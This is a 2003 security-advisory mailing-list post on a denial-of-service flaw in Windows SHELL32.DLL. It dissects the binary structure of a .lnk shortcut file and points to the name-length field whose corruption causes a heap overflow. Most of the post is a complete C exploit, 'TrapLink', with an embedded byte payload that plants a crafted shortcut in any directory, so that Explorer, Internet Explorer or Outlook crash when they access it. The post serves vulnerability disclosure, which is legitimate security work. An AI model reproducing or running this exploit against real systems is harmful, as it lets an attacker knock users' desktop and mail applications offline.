[NT] SHELL32.DLL Denial of Service

From: SecuriTeam (support_at_securiteam.com)
Date: 12/11/03

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Date: 11 Dec 2003 12:05:55 +0200

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SHELL32.DLL Denial of Service
------------------------------------------------------------------------

SUMMARY

Attackers can turn a media (directory, drive, mail, ...) into a small
attacking program allowing it to crash any application that would try to
access it using SHELL32.DLL library (Explorer, IE, Outlook).

DETAILS

As a user browses through his hard-drive, Windows automatically analyses
every file of the current directory, so as to allow the system to display
the matching icon as well as file informations.

When Windows must analyse a shortcut (*.lnk), the system determines the
properties of the file indicated by the link using its structure (see:
<http://www.I2S-LAB.com/Papers/The_Windows_Shortcut_File_Format.pdf> The
Windows Shortcut File Format).

Here is the structure of a windows link as we have understood it:
+-------------------------------------------------------------------+
| Shortcut HEADER |
+-------------------------------------------------------------------+
00000000 4C00 0000 L... 'L' Magic value

00000004 0114 0200 .... GUID of shurtcut files
00000008 0000 0000 ....
00000008 C000 0000 ....
00000010 0000 0046 ...F

00000014 8900 0000 .... Flag

00000018 2000 0000 ... File attribute

0000001C A0C3 D5A8 .... Time 1
00000020 478E C301 G...

00000024 A0C3 D5A8 .... Time 2
00000028 478E C301 G...

0000002C A0C3 D5A8 .... Time 3
00000030 478E C301 G...

00000034 0000 0000 .... File length (here 0 bytes)
00000038 0000 0000 .... Icone number (no icon for us)
0000003C 0100 0000 .... Normal window
00000040 0000 0000 .... shortcut (no)
00000044 0000 0000 .... unknow/reserved
00000048 0000 0000 .... unknow/reserved

+-------------------------------------------------------------------+
| Item Id List |
+-------------------------------------------------------------------+

0000004C 4600 F. Size of item id list

+-------------------------------------------------------------------+
| First item |
+-------------------------------------------------------------------+

0000004E 1400 .. Lenght of first item
00000050 1F50 .P ???
00000052 E04F D020 .O. File lenght
00000056 EA3A 6910 .:i. ???

+-------------------------------------------------------------------+
| data... |
+-------------------------------------------------------------------+

0000005A A2D8 0800 2B30 309D 1900 2343 3A5C 0000 ....+00...#C:\..
0000006A 0000 0000 0000 0000 0000 0000 0000 0051 ...............Q
0000007A 8417 0032 0000 0000 0049 2F87 4B20 006B ...2.....I/.K .k
0000008A 7574 2E74 7874 0000 ut.txt..

+-------------------------------------------------------------------+
| vulnerable bytes |
+-------------------------------------------------------------------+

00000092 0000 0900 .... name lenght
00000096 2E00 ..

00000098 5C00 6B00 7500 7400 2E00 7400 7800 7400 \.k.u.t...t.x.t. name in
wide char `

+-------------------------------------------------------------------+
| data... |
+-------------------------------------------------------------------+

000000A8 6000 0000 0300 00A0 5800 0000 0000 0000 `.......X.......
000000B8 6932 732D 7732 6B00 0000 0000 0000 0000 i2s-w2k.........
000000C8 6EA1 E9B2 1B23 6B46 B804 8E43 F338 56F0 n....#kF...C.8V.
000000D8 0EDC EB90 A1F8 D711 A41B 00EE B000 DAC9 ................
000000E8 6EA1 E9B2 1B23 6B46 B804 8E43 F338 56F0 n....#kF...C.8V.
000000F8 0EDC EB90 A1F8 D711 A41B 00EE B000 DAC9 ................
00000108 0000 0000 00 .....

If we modify the name length at the offset 0x92, SHELL32.DLL will cause an
access violation error, because text was about to be written outside of
the the buffer allocated on the heap for this operation.

Exploit:
/****************************************
* TrapLink for SHELL32.DLL DoS Exploit *
****************************************
Discovered & coded by I2S-LaB

________________________________________

URL : http://www.I2S-LaB.com
MAIL: contact[at]I2S-LaB.com
________________________________________

*****************************************/

#include <windows.h>

void main (int argc, char *argv[])
{

HANDLE TrapFile;
DWORD NumberOfBytesWritten;
unsigned char LnkCrash[] =

  "\x4C\x00\x00\x00\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00"
  "\x00\x00\x00\x46\x89\x00\x00\x00\x20\x00\x00\x00\xA0\xC3\xD5\xA8"
  "\x47\x8E\xC3\x01\xA0\xC3\xD5\xA8\x47\x8E\xC3\x01\xA0\xC3\xD5\xA8"
  "\x47\x8E\xC3\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x46\x00\x14\x00"
  "\x1F\x50\xE0\x4F\xD0\x20\xEA\x3A\x69\x10\xA2\xD8\x08\x00\x2B\x30"
  "\x30\x9D\x19\x00\x23\x43\x3A\x5C\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x51\x84\x17\x00\x32\x00\x00"
  "\x00\x00\x00\x49\x2F\x87\x4B\x20\x00\x6B\x75\x74\x2E\x74\x78\x74"
  "\x00\x00\xFF\xFF\x09\x00\x2E\x00\x5C\x00\x6B\x00\x75\x00\x74\x00"
  "\x2E\x00\x74\x00\x78\x00\x74\x00\x60\x00\x00\x00\x03\x00\x00\xA0"
  "\x58\x00\x00\x00\x00\x00\x00\x00\x69\x32\x73\x2D\x77\x32\x6B\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x6E\xA1\xE9\xB2\x1B\x23\x6B\x46"
  "\xB8\x04\x8E\x43\xF3\x38\x56\xF0\x0E\xDC\xEB\x90\xA1\xF8\xD7\x11"
  "\xA4\x1B\x00\xEE\xB0\x00\xDA\xC9\x6E\xA1\xE9\xB2\x1B\x23\x6B\x46"
  "\xB8\x04\x8E\x43\xF3\x38\x56\xF0\x0E\xDC\xEB\x90\xA1\xF8\xD7\x11"
  "\xA4\x1B\x00\xEE\xB0\x00\xDA\xC9\x00\x00\x00\x00";

  printf ("################################\n"
    "TrapLink SHELL32.dll DoS exploit\n"
    "################################\n"
    "By I2S-LAB Team.\n\n"
    "http://www.I2S-LaB.com\n\n" );

if (!argv[1])
printf ("Usage : TrapLink <path to trap>\n", argv[0]);

  else
  {
    if ( !SetCurrentDirectory(argv[1]) )
      printf ("Error : %s is not a valid directory to trap\n", argv[1] );
    else
    {
      TrapFile = CreateFile("I2S-Crash.lnk",
        GENERIC_WRITE, 0,
        NULL, CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL, NULL );

if (TrapFile == INVALID_HANDLE_VALUE)
printf ("Error : cannot create malicious file.\n");

      else
      {
        WriteFile (TrapFile, LnkCrash, sizeof (LnkCrash),
&NumberOfBytesWritten, NULL);
        printf ("%s is now trapped with a malicious LNK file\n", argv[1]
);
      }
    }
  }
}

Solution:
Microsoft was notified on 11/17/2003 and are planning on getting this
fixed as part of the next service pack.

ADDITIONAL INFORMATION

The information has been provided by Aurélien BOUDOUX and Fred CHAVEROT
<mailto:contact@i2s-lab.com> i2s-lab.com.

========================================

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